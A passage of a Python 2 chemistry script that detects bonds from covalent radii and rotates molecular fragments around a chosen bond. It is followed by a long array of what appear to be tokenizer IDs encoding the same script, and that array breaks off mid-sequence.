'ti': 2.4940, 'v': 2.3050, 'cr': 2.2300, 'mn': 2.2110,'fe': 2.2110,'co': 2.1920,'ni': 2.1730,\
'cu': 2.2110,'zn': 2.3620, 'ga': 2.3810, 'ge': 2.3050, 'as': 2.2680,'se': 2.1920, 'br': 2.1540,\
'kr': 2.1160,'rb': 4.0820, 'sr': 3.6090,'y': 3.0610,'zr': 2.7400,'nb': 2.5320,'mo': 2.4570,\
'tc': 2.4000,'ru': 2.3620,'rh': 2.3620,'pd': 2.4190, 'ag': 2.5320, 'cd': 2.7970,'in': 2.7210,\
'sn': 2.6650,'sb': 2.6460,'te': 2.5700,'i': 2.5130,'xe': 2.4760,'cs': 4.4410,'ba': 3.7420}
# 3.1940,3.1180,3.1180,3.0990,3.0800,3.0610,3.4960,
# 3.0420,3.0050,3.0050,2.9860,2.9670,2.9480,2.9480,
# 2.9480,2.7210,2.5320,2.4570,2.4190,2.3810,2.4000,
# 2.4570,2.5320,2.8160,2.7970,2.7780,2.7590,2.7590,
# 2.7400)
bonds=[]
for i in range(nat):
ei=str.lower(elem[i])
for j in range(i+1,nat):
ej=str.lower(elem[j])
dist=c_dist(XYZ[i,:],XYZ[j,:])
check=(float(cov[ei])+float(cov[ej]))*0.5
if abs(dist-check) <= 0.5:
bonds.append((i,j))
return bonds
def check_bond_lengths(bonds,XYZnew,XYZold,elem):
status=0
for i in bonds[:]:
ai=i[0]
aj=i[1]
veci=XYZold[ai,:]
vecj=XYZold[aj,:]
distold=c_dist(veci,vecj)
veca=XYZnew[ai,:]
vecb=XYZnew[aj,:]
distnew=c_dist(veca,vecb)
if abs(distold-distnew) >= 0.01:
print 'ERROR in bond length: [atom1 atom2 delta_distance]', ai+1,'[',elem[ai],']',' - ',aj+1,'[',elem[aj],']',abs(distold-distnew)
status=1
return status
# --------------------------------------------------------------
def main():
#read in command line arg
#arg1=sys.argv[1] # coord name
#SYM.append(sys.argv[2:])
molname=args.molecule
# read in coordinates
f = open(molname, "r")
nat = readxmol(f,elem,xyz)
f.close()
XYZ=np.array([xyz])
XYZ.shape=(nat,3)
XYZold=np.array(XYZ) # backup
degree=args.a
print ' # atoms :',nat
#print ' requested operations :',' -> '.join(map(str,SYM[0]))
#print ' requested operations :',' -> '.join(SYM[0])
#set vars
x1=args.axis[0]-1
x2=args.axis[1]-1
ax=(x1,x2)
if args.rot:
print 'rotating around bond:',x1+1,'[',elem[x1],']',' - ',x2+1,'[',elem[x2],']','--> ',degree ,'degree'
#print dihedral((XYZ[20,:],XYZ[x1,:],XYZ[x2,:],XYZ[30,:]))
# make bonding matrix
bonds= bond_mat(nat,elem,XYZ)
bondsOld=tuple(bonds) #backup
# remove the dihedral 2-3 connection, to make at least 2 fragments
# requirement: x1<x2
for b in bonds[:]:
if ax == b:
bonds.remove(ax)
# process fragments
# somehow we can end up with duplicates in the fragments, we remove them later with np.unique.
mol=[0]
frags=[]
ifrag=np.zeros(10)
found=1
nr=0
print ifrag
while bonds[:]:
while found == 1:
found=0
for i in mol[:]:
for j in bonds[:]:
if i in j:
if i == j[0]:
mol.append(j[1])
if i == j[1]:
mol.append(j[0])
bonds.remove(j)
found=1
print 'frag:',nr,' : ', mol
#remove mid points
if x2 in mol:
ifrag[nr]=1
mol.remove(x2)
if x1 in mol:
mol.remove(x1)
frags.append(mol)
nr+=1
if nr >=11:
sys.exit("error: too many fragments found")
if bonds[:]:
mol=[bonds[0][0]]
found=1
else:
break
#rotate fragments with ifrag=1
for f in range(0,nr):
if ifrag[f] == 1:
atlist=np.unique(frags[f]) # removes duplicates!
rotmol(x1,x2,degree,atlist,XYZ)
#also works: rotmolMAT(x1,x2,degree,atlist,XYZ)
# now XYZ contains the new, rotated molecule.
# check old and new bond lengths
if check_bond_lengths(bondsOld,XYZ,XYZold,elem) > 0:
sys.exit("rotation error...stopping :-( ")
#------------------- fragment rotation ---------------------------------
if args.rmol:
# axis=np.array([1,0,0])
# axis=np.array([0,1,0])
axis=np.array([0,0,1])
molecule_rot(axis,degree,XYZ)
#-----------------------------------------
# SYMMETRY OPERATIONS (not used)
# if args.trans:
#translations
# does need homogeneous coordinates for matrix operations
mx=1
my=1
mz=3
MOVE=np.array([[1,0,0,mx],
[0,1,0,mx],
[0,0,1,mz],
[0,0,0,1]])
# reflection on plane, sigma_x/y/z
sigma_x=np.array([[-1,0,0],
[0,1,0],
[0,0,1]])
sigma_y=np.array([[1,0,0],
[0,1,0],
[0,0,1]])
sigma_z=np.array([[1,0,0],
[0,1,0],
[0,0,-1]])
# rotations
#print XYZ
#TRAFO=np.array(np.dot(sigma_x,MOVE))
#TRAFO=np.array(sigma_z)
#print TRAFO
#print sigma_z
# do transformation
#XYZ=np.dot(XYZ,sigma_z)
#XYZ=np.dot(XYZ,TRAFO)
#print XYZ
writexmol('rot.xyz',nat,XYZ,'rotated molecule')
if __name__ == '__main__':
main()
| [
1,
18787,
4855,
29914,
2109,
29914,
4691,
13,
5215,
10876,
13,
5215,
12655,
408,
7442,
13,
3166,
5844,
1053,
18074,
2273,
29892,
3944,
29892,
5223,
29892,
562,
359,
29892,
3665,
5834,
13,
5215,
1852,
5510,
13,
13,
15945,
29908,
13,
13,
5450,
362,
2820,
11472,
260,
943,
1848,
23619,
13,
13,
13,
1762,
6132,
29901,
13,
29899,
349,
4051,
2066,
29901,
13,
29871,
448,
1303,
13,
29871,
448,
18720,
1250,
15933,
23619,
491,
1024,
515,
349,
4051,
2066,
13,
13,
29899,
13962,
13,
13,
15945,
29908,
13,
13,
8924,
29922,
29900,
13,
20461,
353,
5159,
13,
20230,
353,
5159,
13,
14816,
29924,
29922,
2636,
29871,
396,
4636,
304,
437,
18446,
6931,
13,
13,
16680,
353,
1852,
5510,
29889,
15730,
11726,
29898,
8216,
543,
5450,
362,
313,
578,
265,
29901,
669,
13962,
29897,
310,
13206,
16637,
10350,
613,
1022,
26140,
543,
3874,
29890,
263,
3509,
732,
2045,
597,
3292,
29889,
510,
29914,
29882,
554,
582,
29914,
479,
327,
336,
1181,
613,
21125,
2433,
29995,
29898,
29097,
29897,
29879,
518,
6768,
29962,
529,
29302,
934,
29958,
1495,
13,
13,
16680,
29889,
1202,
29918,
23516,
703,
29899,
8990,
613,
1371,
543,
6550,
1598,
1023,
12301,
3694,
363,
9685,
310,
13733,
29914,
3286,
18411,
19602,
1853,
29922,
524,
29892,
29876,
5085,
29922,
29906,
29892,
2527,
485,
279,
29922,
703,
8678,
29896,
3284,
8678,
29906,
4968,
4381,
7607,
29900,
29892,
29896,
876,
13,
16680,
29889,
1202,
29918,
23516,
703,
29885,
1772,
29883,
1297,
613,
1371,
543,
29885,
1772,
16637,
14821,
934,
313,
20230,
3402,
19123,
1853,
29922,
710,
29892,
2527,
485,
279,
543,
29966,
29302,
934,
29958,
1159,
13,
16680,
29889,
1202,
29918,
23516,
703,
29899,
1758,
324,
613,
1371,
543,
23361,
3353,
13206,
29883,
1297,
313,
11316,
503,
29899,
8990,
29914,
12574,
19123,
3158,
543,
8899,
29918,
3009,
1159,
13,
16680,
29889,
1202,
29918,
23516,
703,
29899,
5450,
613,
1371,
543,
20777,
13733,
2820,
2183,
9685,
29914,
29890,
898,
613,
3158,
543,
8899,
29918,
3009,
1159,
13,
16680,
29889,
1202,
29918,
23516,
703,
29899,
29890,
898,
613,
1371,
543,
20777,
13962,
3412,
2183,
9685,
29914,
29890,
898,
613,
3158,
543,
8899,
29918,
3009,
1159,
13,
16680,
29889,
1202,
29918,
23516,
703,
29899,
29874,
3284,
29899,
2521,
613,
1371,
543,
2521,
310,
13733,
297,
7426,
613,
1853,
29922,
7411,
29892,
2527,
485,
279,
543,
7411,
613,
4381,
29922,
29945,
29889,
29900,
29897,
13,
16680,
29889,
1202,
29918,
23516,
703,
29899,
29880,
3284,
29899,
2848,
613,
1371,
543,
2848,
310,
13962,
297,
2614,
303,
456,
613,
1853,
29922,
7411,
29892,
2527,
485,
279,
543,
7411,
613,
4381,
29922,
29900,
29889,
29896,
29897,
13,
16680,
29889,
1202,
29918,
23516,
703,
489,
8382,
613,
1371,
543,
2158,
5684,
1962,
613,
3158,
543,
8899,
29918,
3009,
1159,
13,
5085,
353,
13812,
29889,
5510,
29918,
5085,
580,
13,
13,
2158,
259,
525,
1445,
795,
584,
13420,
5085,
29889,
29885,
1772,
29883,
1297,
13,
2158,
259,
525,
2080,
9685,
29901,
539,
584,
13420,
5085,
29889,
8990,
29961,
29900,
1402,
5085,
29889,
8990,
29961,
29896,
29962,
13,
29871,
13,
2158,
259,
525,
20777,
13733,
3986,
584,
13420,
6389,
29889,
5450,
13,
2158,
259,
525,
29885,
1772,
29883,
1297,
13733,
3986,
584,
13420,
6389,
29889,
1758,
324,
13,
361,
6389,
29889,
5450,
470,
6389,
29889,
1758,
324,
29901,
13,
29871,
1596,
525,
29871,
10696,
518,
12163,
929,
29962,
29871,
584,
13420,
6389,
29889,
29874,
13,
13,
2158,
259,
525,
3286,
18411,
539,
584,
13420,
6389,
29889,
29890,
898,
13,
361,
6389,
29889,
29890,
898,
29901,
13,
29871,
1596,
525,
29871,
3309,
518,
29909,
29962,
418,
584,
13420,
6389,
29889,
29880,
13,
29871,
10876,
29889,
13322,
703,
3286,
18411,
451,
3447,
8762,
29991,
317,
719,
856,
16521,
13,
13,
361,
6389,
29889,
8382,
29901,
13,
259,
1596,
376,
8382,
3460,
4464,
6077,
373,
29908,
13,
13,
29937,
2683,
2683,
22158,
13,
13,
13,
29937,
1303,
921,
29885,
324,
29899,
1853,
934,
13,
1753,
1303,
29916,
29885,
324,
29898,
361,
488,
29892,
20461,
29892,
20230,
1125,
13,
259,
9995,
13,
259,
1303,
921,
29885,
324,
934,
13,
259,
9995,
13,
259,
3454,
353,
565,
488,
29889,
949,
9012,
580,
13,
259,
14033,
353,
938,
29898,
9012,
29961,
29900,
2314,
13,
259,
3611,
353,
3454,
29961,
29896,
29962,
13,
259,
363,
301,
297,
3454,
29961,
29906,
29901,
5387,
13,
539,
1134,
29892,
921,
29892,
343,
29892,
503,
353,
301,
29889,
5451,
580,
13,
539,
921,
12339,
29889,
4397,
4197,
7411,
29898,
29916,
511,
7411,
29898,
29891,
511,
7411,
29898,
29920,
29897,
2314,
13,
539,
21268,
29889,
4397,
29898,
1853,
29897,
13,
29937,
539,
921,
12339,
29889,
4397,
29898,
29880,
29897,
13,
259,
736,
14033,
13,
13,
29937,
2436,
921,
29885,
324,
29899,
1853,
934,
13,
1753,
2436,
29916,
29885,
324,
29898,
978,
29892,
8924,
29892,
18454,
29999,
29892,
3257,
2433,
17625,
491,
1737,
327,
1929,
29889,
2272,
29374,
13,
259,
9995,
13,
259,
2436,
921,
29885,
324,
934,
411,
4839,
313,
25253,
29897,
13,
259,
9995,
13,
259,
310,
488,
353,
1722,
29898,
1024,
29892,
525,
29893,
1495,
13,
259,
1596,
5099,
974,
488,
29892,
851,
29898,
8924,
29897,
13,
259,
1596,
5099,
974,
488,
29892,
3611,
13,
259,
363,
474,
297,
3464,
29898,
29900,
29892,
8924,
1125,
13,
539,
1596,
5099,
974,
488,
29892,
29871,
851,
11702,
29871,
29945,
29889,
29945,
29879,
1273,
29871,
29946,
29889,
29896,
29906,
29888,
1273,
29871,
29946,
29889,
29896,
29906,
29888,
1273,
29871,
29946,
29889,
29896,
29906,
29888,
29908,
1273,
313,
20461,
29961,
29875,
1402,
5785,
29898,
18454,
29999,
29961,
29875,
29892,
29900,
11724,
5785,
29898,
18454,
29999,
29961,
29875,
29892,
29896,
11724,
5785,
29898,
18454,
29999,
29961,
29875,
29892,
29906,
2314,
29871,
876,
13,
259,
310,
488,
29889,
5358,
580,
13,
259,
736,
13,
13,
13,
1753,
652,
17143,
1705,
29898,
29886,
1125,
13,
1678,
9995,
13,
1678,
652,
17143,
1705,
10696,
515,
29871,
29946,
1881,
4608,
29889,
13,
1678,
413,
10774,
492,
7063,
13,
268,
29896,
18074,
2273,
29892,
29871,
29896,
4891,
3234,
15945,
29908,
13,
1678,
282,
29900,
353,
282,
29961,
29900,
29962,
13,
1678,
282,
29896,
353,
282,
29961,
29896,
29962,
13,
1678,
282,
29906,
353,
282,
29961,
29906,
29962,
13,
1678,
282,
29941,
353,
282,
29961,
29941,
29962,
13,
13,
1678,
289,
29900,
353,
448,
29896,
29889,
29900,
16395,
29886,
29896,
448,
282,
29900,
29897,
13,
1678,
289,
29896,
353,
282,
29906,
448,
282,
29896,
13,
1678,
289,
29906,
353,
282,
29941,
448,
282,
29906,
13,
13,
1678,
396,
4226,
675,
289,
29896,
577,
393,
372,
947,
451,
9949,
18497,
310,
4608,
13,
1678,
396,
337,
24247,
393,
2041,
2446,
13,
1678,
289,
29896,
847,
29922,
7442,
29889,
29880,
979,
29887,
29889,
12324,
29898,
29890,
29896,
29897,
13,
13,
1678,
396,
4608,
337,
24247,
13,
1678,
396,
325,
353,
18246,
310,
289,
29900,
11480,
10694,
639,
14081,
16311,
304,
289,
29896,
13,
1678,
396,
259,
353,
289,
29900,
26134,
4163,
393,
7595,
29879,
411,
289,
29896,
13,
1678,
396,
281,
353,
18246,
310,
289,
29906,
11480,
10694,
639,
14081,
16311,
304,
289,
29896,
13,
1678,
396,
259,
353,
289,
29906,
26134,
4163,
393,
7595,
29879,
411,
289,
29896,
13,
1678,
325,
353,
289,
29900,
448,
7442,
29889,
6333,
29898,
29890,
29900,
29892,
289,
29896,
11877,
29890,
29896,
13,
1678,
281,
353,
289,
29906,
448,
7442,
29889,
6333,
29898,
29890,
29906,
29892,
289,
29896,
11877,
29890,
29896,
13,
13,
1678,
396,
10696,
1546,
325,
322,
281,
297,
263,
10694,
338,
278,
260,
943,
291,
10696,
13,
1678,
396,
325,
322,
281,
1122,
451,
367,
4226,
1891,
541,
393,
29915,
29879,
2691,
1951,
10345,
338,
343,
29914,
29916,
13,
1678,
921,
353,
7442,
29889,
6333,
29898,
29894,
29892,
281,
29897,
13,
1678,
343,
353,
7442,
29889,
6333,
29898,
9302,
29889,
19128,
29898,
29890,
29896,
29892,
325,
511,
281,
29897,
13,
1678,
736,
7442,
29889,
311,
7979,
267,
29898,
9302,
29889,
27014,
273,
29906,
29898,
29891,
29892,
921,
876,
13,
13,
13,
1753,
1596,
20230,
29898,
8924,
29892,
20461,
29892,
18454,
29999,
1125,
13,
259,
9995,
13,
259,
1596,
921,
12339,
10350,
304,
4315,
29889,
13,
259,
9995,
13,
259,
363,
474,
297,
3464,
29898,
29900,
29892,
8924,
1125,
13,
418,
1596,
851,
11702,
29871,
29945,
29889,
29945,
29879,
1273,
29871,
29946,
29889,
29896,
29906,
29888,
1273,
29871,
29946,
29889,
29896,
29906,
29888,
1273,
29871,
29946,
29889,
29896,
29906,
29888,
29908,
1273,
313,
20461,
29961,
29875,
1402,
5785,
29898,
18454,
29999,
29961,
29875,
29892,
29900,
11724,
5785,
29898,
18454,
29999,
29961,
29875,
29892,
29896,
11724,
5785,
29898,
18454,
29999,
29961,
29875,
29892,
29906,
2314,
29871,
876,
13,
13,
1753,
4226,
675,
29898,
29894,
1125,
13,
1678,
9995,
13,
1678,
4226,
675,
29892,
1962,
5291,
2701,
13,
1678,
9995,
13,
1678,
2320,
29906,
353,
2533,
29898,
29876,
334,
302,
363,
302,
297,
325,
29897,
13,
1678,
2320,
353,
7442,
29889,
3676,
29898,
11082,
29906,
29897,
13,
1678,
325,
353,
18761,
29898,
29876,
847,
2320,
363,
302,
297,
325,
29897,
13,
1678,
736,
325,
13,
13,
29937,
8945,
675,
29892,
1962,
12655,
1409,
13,
1753,
4226,
675,
29906,
29898,
29894,
1125,
13,
1678,
9995,
13,
1678,
4226,
675,
29892,
1962,
286,
398,
2272,
1409,
13,
1678,
9995,
13,
1678,
6056,
353,
7442,
29889,
29880,
979,
29887,
29889,
12324,
29898,
29894,
29897,
13,
1678,
325,
29922,
29894,
29914,
12324,
13,
1678,
736,
325,
13,
13,
1753,
3855,
29918,
4713,
29898,
29939,
29896,
29892,
3855,
29906,
1125,
13,
1678,
9995,
13,
1678,
20089,
725,
291,
29899,
339,
279,
725,
291,
21666,
13,
1678,
9995,
13,
1678,
281,
29896,
29892,
921,
29896,
29892,
343,
29896,
29892,
503,
29896,
353,
3855,
29896,
13,
1678,
281,
29906,
29892,
921,
29906,
29892,
343,
29906,
29892,
503,
29906,
353,
3855,
29906,
13,
1678,
281,
353,
281,
29896,
334,
281,
29906,
448,
921,
29896,
334,
921,
29906,
448,
343,
29896,
334,
343,
29906,
448,
503,
29896,
334,
503,
29906,
13,
1678,
921,
353,
281,
29896,
334,
921,
29906,
718,
921,
29896,
334,
281,
29906,
718,
343,
29896,
334,
503,
29906,
448,
503,
29896,
334,
343,
29906,
13,
1678,
343,
353,
281,
29896,
334,
343,
29906,
718,
343,
29896,
334,
281,
29906,
718,
503,
29896,
334,
921,
29906,
448,
921,
29896,
334,
503,
29906,
13,
1678,
503,
353,
281,
29896,
334,
503,
29906,
718,
503,
29896,
334,
281,
29906,
718,
921,
29896,
334,
343,
29906,
448,
343,
29896,
334,
921,
29906,
13,
1678,
736,
281,
29892,
921,
29892,
343,
29892,
503,
13,
13,
1753,
3855,
29918,
535,
29926,
688,
403,
29898,
29939,
1125,
13,
1678,
9995,
13,
1678,
20089,
725,
291,
25482,
403,
13,
1678,
9995,
13,
1678,
281,
29892,
921,
29892,
343,
29892,
503,
353,
3855,
13,
1678,
736,
313,
29893,
29892,
448,
29916,
29892,
448,
29891,
29892,
448,
29920,
29897,
13,
13,
1753,
3855,
29894,
29918,
4713,
29898,
29939,
29896,
29892,
325,
29896,
1125,
13,
1678,
9995,
13,
1678,
20089,
725,
291,
29899,
8111,
21666,
13,
1678,
9995,
13,
1678,
3855,
29906,
353,
313,
29900,
29889,
29900,
29892,
29897,
718,
325,
29896,
13,
1678,
736,
3855,
29918,
4713,
29898,
29939,
29918,
4713,
29898,
29939,
29896,
29892,
3855,
29906,
511,
3855,
29918,
535,
29926,
688,
403,
29898,
29939,
29896,
876,
29961,
29896,
17531,
13,
13,
1753,
9685,
2521,
29918,
517,
29918,
29939,
29898,
29894,
29892,
278,
941,
1125,
13,
1678,
9995,
13,
1678,
20089,
725,
291,
13733,
13,
1678,
9995,
13,
1678,
325,
353,
4226,
675,
29898,
29894,
29897,
13,
1678,
921,
29892,
343,
29892,
503,
353,
325,
13,
1678,
278,
941,
847,
29922,
29871,
29906,
13,
1678,
281,
353,
6776,
29898,
3416,
29897,
13,
1678,
921,
353,
921,
334,
4457,
29898,
3416,
29897,
13,
1678,
343,
353,
343,
334,
4457,
29898,
3416,
29897,
13,
1678,
503,
353,
503,
334,
4457,
29898,
3416,
29897,
13,
1678,
736,
281,
29892,
921,
29892,
343,
29892,
503,
13,
13,
1753,
3855,
29918,
517,
29918,
8990,
2521,
29898,
29939,
1125,
13,
1678,
9995,
13,
1678,
20089,
725,
291,
13733,
13,
1678,
9995,
13,
1678,
281,
29892,
325,
353,
3855,
29961,
29900,
1402,
3855,
29961,
29896,
17531,
13,
1678,
278,
941,
353,
1274,
359,
29898,
29893,
29897,
334,
29871,
29906,
29889,
29900,
13,
1678,
736,
4226,
675,
29898,
29894,
511,
278,
941,
13,
13,
1753,
5731,
2003,
29898,
8990,
29892,
2003,
29892,
12163,
929,
1125,
13,
268,
9995,
13,
268,
20089,
725,
291,
13733,
13,
268,
1881,
29901,
13733,
9685,
29892,
4608,
304,
16734,
29898,
387,
12301,
10350,
511,
5450,
362,
297,
7426,
13,
268,
1962,
29901,
716,
4608,
13,
268,
5291,
2701,
871,
25106,
13,
268,
9995,
13,
268,
260,
786,
2003,
29922,
23583,
29898,
2003,
29897,
13,
268,
10696,
29922,
3665,
5834,
29898,
12163,
929,
29897,
13,
268,
3855,
5450,
29922,
8990,
2521,
29918,
517,
29918,
29939,
29898,
8990,
29892,
2521,
29897,
13,
268,
716,
29894,
353,
3855,
29894,
29918,
4713,
29898,
29939,
5450,
29892,
260,
786,
2003,
29897,
13,
268,
736,
1051,
29898,
1482,
29894,
29897,
13,
13,
29937,
1881,
29901,
472,
29896,
29914,
29906,
4529,
278,
28422,
393,
10638,
278,
9685,
4608,
29936,
7426,
278,
13733,
10696,
29892,
472,
1761,
29871,
13,
29937,
20169,
607,
28422,
304,
16734,
29936,
1060,
29979,
29999,
3743,
599,
10350,
13,
1753,
5731,
29885,
324,
29898,
271,
29896,
29892,
271,
29906,
29892,
12163,
929,
29892,
271,
1761,
29892,
18454,
29999,
1125,
13,
1678,
9995,
13,
1678,
13733,
310,
12047,
297,
472,
1761,
773,
278,
9664,
362,
14609,
515,
525,
21281,
9782,
1433,
29890,
4286,
13,
1678,
9664,
25987,
1433,
29890,
338,
278,
29871,
13,
1678,
9995,
13,
1678,
282,
29896,
29922,
18454,
29999,
29961,
271,
29896,
29892,
17531,
13,
1678,
282,
29906,
29922,
18454,
29999,
29961,
271,
29906,
29892,
17531,
13,
1678,
9685,
29922,
9302,
29889,
1491,
29873,
1461,
29898,
29886,
29906,
29892,
29886,
29896,
29897,
13,
1678,
2971,
29922,
3665,
5834,
29898,
12163,
929,
29897,
13,
1678,
363,
474,
297,
12705,
29898,
271,
1761,
7503,
29962,
1125,
13,
418,
1596,
525,
5450,
1218,
856,
742,
29875,
13,
418,
325,
29922,
18454,
29999,
29961,
29875,
29892,
17531,
13,
13,
29937,
539,
334,
679,
13733,
4636,
29892,
769,
22932,
411,
4608,
13,
29937,
8382,
268,
2030,
29928,
29922,
652,
17143,
1705,
3552,
18454,
29999,
29961,
29906,
29900,
29892,
29901,
1402,
29886,
29896,
29892,
29886,
29906,
29892,
29894,
876,
13,
418,
390,
2922,
29922,
9664,
9782,
1433,
29890,
29898,
8990,
29892,
3665,
29892,
29886,
29906,
29892,
29894,
29897,
13,
418,
1060,
29979,
29999,
29961,
29875,
29892,
29901,
13192,
29934,
2922,
29916,
25987,
29898,
29934,
2922,
29892,
29894,
29897,
13,
29937,
268,
716,
29928,
29922,
652,
17143,
1705,
3552,
18454,
29999,
29961,
29906,
29900,
29892,
29901,
1402,
29886,
29896,
29892,
29886,
29906,
29892,
18454,
29999,
29961,
29875,
29892,
29901,
12622,
13,
29937,
268,
1596,
716,
29928,
29892,
1025,
29928,
29892,
1025,
29928,
29899,
1482,
29928,
13,
13,
29937,
539,
334,
679,
4608,
4153,
313,
29879,
13609,
7897,
13,
29937,
418,
1060,
29979,
29999,
29961,
29875,
29892,
29901,
13192,
21281,
25987,
1433,
29890,
29898,
8990,
29892,
3665,
29892,
29886,
29906,
29892,
29894,
29897,
13,
13,
29937,
539,
334,
259,
773,
20089,
725,
1080,
334,
13,
2277,
418,
325,
29922,
9302,
29889,
1491,
29873,
1461,
29898,
18454,
29999,
29961,
29875,
29892,
29901,
1402,
29886,
29906,
7503,
2314,
13,
2277,
418,
1060,
29979,
29999,
29961,
29875,
29892,
29901,
13192,
5450,
2003,
29898,
8990,
29892,
29894,
29892,
12163,
929,
7240,
29886,
29906,
13,
1678,
736,
29871,
13,
13,
1753,
13206,
29883,
1297,
29918,
5450,
29898,
8990,
29892,
12163,
929,
29892,
18454,
29999,
1125,
13,
1678,
9995,
13,
1678,
13206,
16637,
13733,
13,
1678,
671,
9685,
304,
6084,
921,
29892,
29891,
29892,
29920,
12047,
13,
1678,
9995,
13,
1678,
472,
1761,
29922,
3881,
29898,
29900,
29892,
2435,
29898,
18454,
29999,
876,
13,
1678,
2971,
29922,
3665,
5834,
29898,
12163,
929,
29897,
13,
1678,
282,
29906,
29922,
9302,
29889,
2378,
4197,
29900,
29892,
29900,
29892,
29900,
2314,
13,
1678,
363,
474,
297,
12705,
29898,
271,
1761,
7503,
29962,
1125,
13,
418,
1596,
525,
5450,
1218,
856,
742,
29875,
13,
418,
325,
29922,
18454,
29999,
29961,
29875,
29892,
17531,
13,
418,
390,
2922,
29922,
9664,
9782,
1433,
29890,
29898,
8990,
29892,
3665,
29892,
29886,
29906,
29892,
29894,
29897,
13,
418,
1060,
29979,
29999,
29961,
29875,
29892,
29901,
13192,
29934,
2922,
29916,
25987,
29898,
29934,
2922,
29892,
29894,
29897,
13,
13,
13,
1753,
390,
2922,
29916,
25987,
29898,
1758,
271,
29892,
29894,
1125,
13,
268,
9995,
13,
268,
313,
29946,
29916,
29946,
29897,
13733,
4636,
313,
21281,
1433,
29890,
9782,
29897,
3064,
4608,
304,
16734,
29936,
3639,
5731,
630,
4608,
13,
268,
3632,
6352,
681,
10350,
29889,
13,
268,
9995,
13,
268,
325,
29922,
9302,
29889,
4397,
29898,
29894,
29892,
29896,
29897,
13,
268,
325,
5450,
29922,
9302,
29889,
6333,
29898,
1758,
271,
29892,
29894,
29897,
13,
268,
736,
325,
5450,
7503,
29941,
29962,
13,
13,
1753,
5731,
29885,
324,
29924,
1299,
29898,
271,
29896,
29892,
271,
29906,
29892,
12163,
929,
29892,
271,
1761,
29892,
18454,
29999,
1125,
13,
1678,
9995,
13,
1678,
2788,
304,
5731,
29885,
324,
29892,
5174,
372,
3913,
278,
7733,
8966,
24448,
29898,
7897,
13733,
13516,
29889,
13,
1678,
9995,
13,
1678,
282,
29896,
29922,
18454,
29999,
29961,
271,
29896,
29892,
17531,
13,
1678,
282,
29906,
29922,
18454,
29999,
29961,
271,
29906,
29892,
17531,
13,
1678,
9685,
29922,
9302,
29889,
1491,
29873,
1461,
29898,
29886,
29906,
29892,
29886,
29896,
29897,
13,
1678,
9685,
29922,
9302,
29889,
1491,
29873,
1461,
29898,
8990,
29892,
29886,
29906,
29897,
13,
1678,
2971,
29922,
3665,
5834,
29898,
12163,
929,
29897,
13,
1678,
363,
474,
297,
472,
1761,
7503,
5387,
13,
418,
325,
29922,
9302,
29889,
1491,
29873,
1461,
29898,
18454,
29999,
29961,
29875,
29892,
29901,
1402,
29886,
29906,
29897,
13,
29937,
20313,
881,
664,
418,
325,
5450,
29922,
9302,
29889,
6333,
29898,
5450,
362,
29918,
5344,
29898,
8990,
29892,
3665,
511,
29894,
29897,
13,
418,
325,
5450,
29922,
9302,
29889,
6333,
29898,
5450,
362,
29918,
5344,
29906,
29898,
8990,
29892,
3665,
511,
29894,
29897,
13,
418,
1060,
29979,
29999,
29961,
29875,
29892,
29901,
13192,
9302,
29889,
1202,
29898,
29894,
5450,
29892,
29886,
29906,
29897,
13,
1678,
736,
13,
13,
1753,
13733,
29918,
5344,
29898,
8990,
29892,
278,
941,
1125,
13,
1678,
9995,
13,
1678,
7106,
278,
13733,
4636,
6942,
411,
6795,
13058,
3538,
13733,
1048,
13,
1678,
278,
2183,
9685,
491,
278,
941,
2971,
5834,
29889,
13962,
5181,
29889,
13,
1678,
9995,
13,
1678,
9685,
353,
7442,
29889,
294,
2378,
29898,
8990,
29897,
13,
1678,
278,
941,
353,
7442,
29889,
294,
2378,
29898,
3416,
29897,
13,
1678,
9685,
353,
9685,
29914,
9302,
29889,
3676,
29898,
9302,
29889,
6333,
29898,
8990,
29892,
9685,
876,
13,
1678,
263,
353,
7442,
29889,
3944,
29898,
3416,
29914,
29906,
29889,
29900,
29897,
13,
1678,
289,
29892,
274,
29892,
270,
353,
448,
8990,
29930,
9302,
29889,
5223,
29898,
3416,
29914,
29906,
29889,
29900,
29897,
13,
1678,
29099,
29892,
289,
29890,
29892,
21759,
29892,
24488,
353,
263,
29930,
29874,
29892,
289,
29930,
29890,
29892,
274,
29930,
29883,
29892,
270,
29930,
29881,
13,
1678,
289,
29883,
29892,
594,
29892,
1274,
29892,
633,
29892,
289,
29881,
29892,
14965,
353,
289,
29930,
29883,
29892,
263,
29930,
29881,
29892,
263,
29930,
29883,
29892,
263,
29930,
29890,
29892,
289,
29930,
29881,
29892,
274,
29930,
29881,
13,
1678,
736,
7442,
29889,
2378,
4197,
29961,
7340,
29974,
1327,
29899,
617,
29899,
1289,
29892,
29871,
29906,
16395,
12328,
29974,
328,
511,
29871,
29906,
16395,
6448,
29899,
562,
29897,
1402,
13,
462,
268,
518,
29906,
16395,
12328,
29899,
328,
511,
29099,
29974,
617,
29899,
1327,
29899,
1289,
29892,
29871,
29906,
16395,
2252,
29974,
370,
29897,
1402,
13,
462,
268,
518,
29906,
16395,
6448,
29974,
562,
511,
29871,
29906,
16395,
2252,
29899,
370,
511,
29099,
29974,
1289,
29899,
1327,
29899,
617,
24960,
13,
13,
13,
1753,
13733,
29918,
5344,
29906,
29898,
8990,
29892,
3416,
1125,
13,
1678,
9995,
13,
1678,
515,
17881,
284,
29892,
263,
2586,
1422,
313,
4530,
29879,
467,
12006,
3538,
13733,
29973,
13,
1678,
13962,
5181,
29889,
13,
1678,
9995,
13,
1678,
9685,
353,
9685,
29914,
9302,
29889,
3676,
29898,
9302,
29889,
6333,
29898,
8990,
29892,
8990,
876,
13,
1678,
263,
353,
7442,
29889,
3944,
29898,
3416,
29914,
29906,
29889,
29900,
29897,
13,
1678,
289,
29892,
29883,
29892,
29881,
353,
448,
8990,
29930,
9302,
29889,
5223,
29898,
3416,
29914,
29906,
29897,
13,
1678,
736,
7442,
29889,
2378,
4197,
29961,
29874,
29930,
29874,
29974,
29890,
29930,
29890,
29899,
29883,
29930,
29883,
29899,
29881,
29930,
29881,
29892,
29871,
29906,
16395,
29890,
29930,
29883,
29899,
29874,
29930,
29881,
511,
29871,
29906,
16395,
29890,
29930,
29881,
29974,
29874,
29930,
29883,
29897,
1402,
13,
462,
268,
518,
29906,
16395,
29890,
29930,
29883,
29974,
29874,
29930,
29881,
511,
263,
29930,
29874,
29974,
29883,
29930,
29883,
29899,
29890,
29930,
29890,
29899,
29881,
29930,
29881,
29892,
29871,
29906,
16395,
29883,
29930,
29881,
29899,
29874,
29930,
29890,
29897,
1402,
13,
462,
268,
518,
29906,
16395,
29890,
29930,
29881,
29899,
29874,
29930,
29883,
511,
29871,
29906,
